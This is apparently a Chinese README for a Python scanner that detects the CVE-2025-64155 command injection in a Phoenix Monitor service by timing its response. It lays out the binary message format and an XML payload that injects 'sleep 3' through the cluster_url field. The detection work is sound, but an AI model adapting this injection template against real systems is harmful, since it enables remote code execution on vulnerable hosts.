一个用于检测 Phoenix Monitor 服务中命令注入漏洞(CVE-2025-64155)的 Python 扫描器。
CVE-2025-64155 是 Phoenix Monitor 服务中的一个命令注入漏洞,允许通过 handleStorageRequest 命令(命令 ID:1075724911)中的 cluster_url 参数执行远程代码。
当 cluster_url 字段中由用户控制的输入未经适当清理便被传递给 shell 命令时,就会产生该漏洞,从而允许通过 shell 元字符进行命令注入。
此扫描器基于 Horizon3AI 的漏洞利用研究。
python3 scanner.py -t <target_ip>
# 指定自定义端口
python3 scanner.py -t 192.168.1.100 -p 7900
# 启用详细输出
python3 scanner.py -t 192.168.1.100 -v
# 设置自定义超时时间
python3 scanner.py -t 192.168.1.100 --timeout 15
# 仅检查服务是否可达(不测试漏洞)
python3 scanner.py -t 192.168.1.100 --check-only
-t, --target:目标 IP 地址或主机名(必需)-p, --port:Phoenix Monitor 服务端口(默认:7900)--timeout:连接超时时间(秒,默认:10)-v, --verbose:启用详细输出--check-only:仅检查服务是否可达扫描器使用基于时间的检测方法:
handleStorageRequest 命令,其中 cluster_url 字段包含 sleep 3此方法安全且无损——仅使用无害的 sleep 命令进行检测,不会执行有害命令。
[*] CVE-2025-64155 Scanner
[*] Target: 192.168.1.100:7900
[*] Scanning 192.168.1.100:7900 for CVE-2025-64155...
[*] Connecting to 192.168.1.100:7900...
[*] Connected successfully
[*] Sending test payload...
[*] Received response (1024 bytes) in 3.12 seconds
============================================================
[+] VULNERABLE: Target appears to be vulnerable to CVE-2025-64155
[+] Details: Time-based detection: Response delayed by 3.12s (likely command injection)
[*] CVE-2025-64155 Scanner
[*] Target: 192.168.1.100:7900
[*] Scanning 192.168.1.100:7900 for CVE-2025-64155...
[*] Connecting to 192.168.1.100:7900...
[*] Connected successfully
[*] Sending test payload...
[*] Received response (1024 bytes) in 0.45 seconds
============================================================
[-] NOT VULNERABLE: Target does not appear to be vulnerable
[-] Details: Response received quickly (0.45s), likely not vulnerable
扫描器发送的二进制消息结构如下:
[4 bytes] 消息长度 (156)
[4 bytes] 负载长度
[4 bytes] 命令 ID (1075724911 = 0x4018006F = handleStorageRequest)
[4 bytes] 填充/标志 (0)
[可变] XML 负载
XML 负载在 cluster_url 字段中包含命令注入:
<TEST_STORAGE type="elastic">
<cluster_url>http://10.0.0.1:9200 --next -o /dev/null sleep 3</cluster_url>
...
</TEST_STORAGE>
此工具仅用于授权的安全测试和研究目的。请仅在您拥有或获得明确测试权限的系统上使用此工具。未经授权访问计算机系统是违法的。
MIT 许可证——详情请参阅 LICENSE 文件。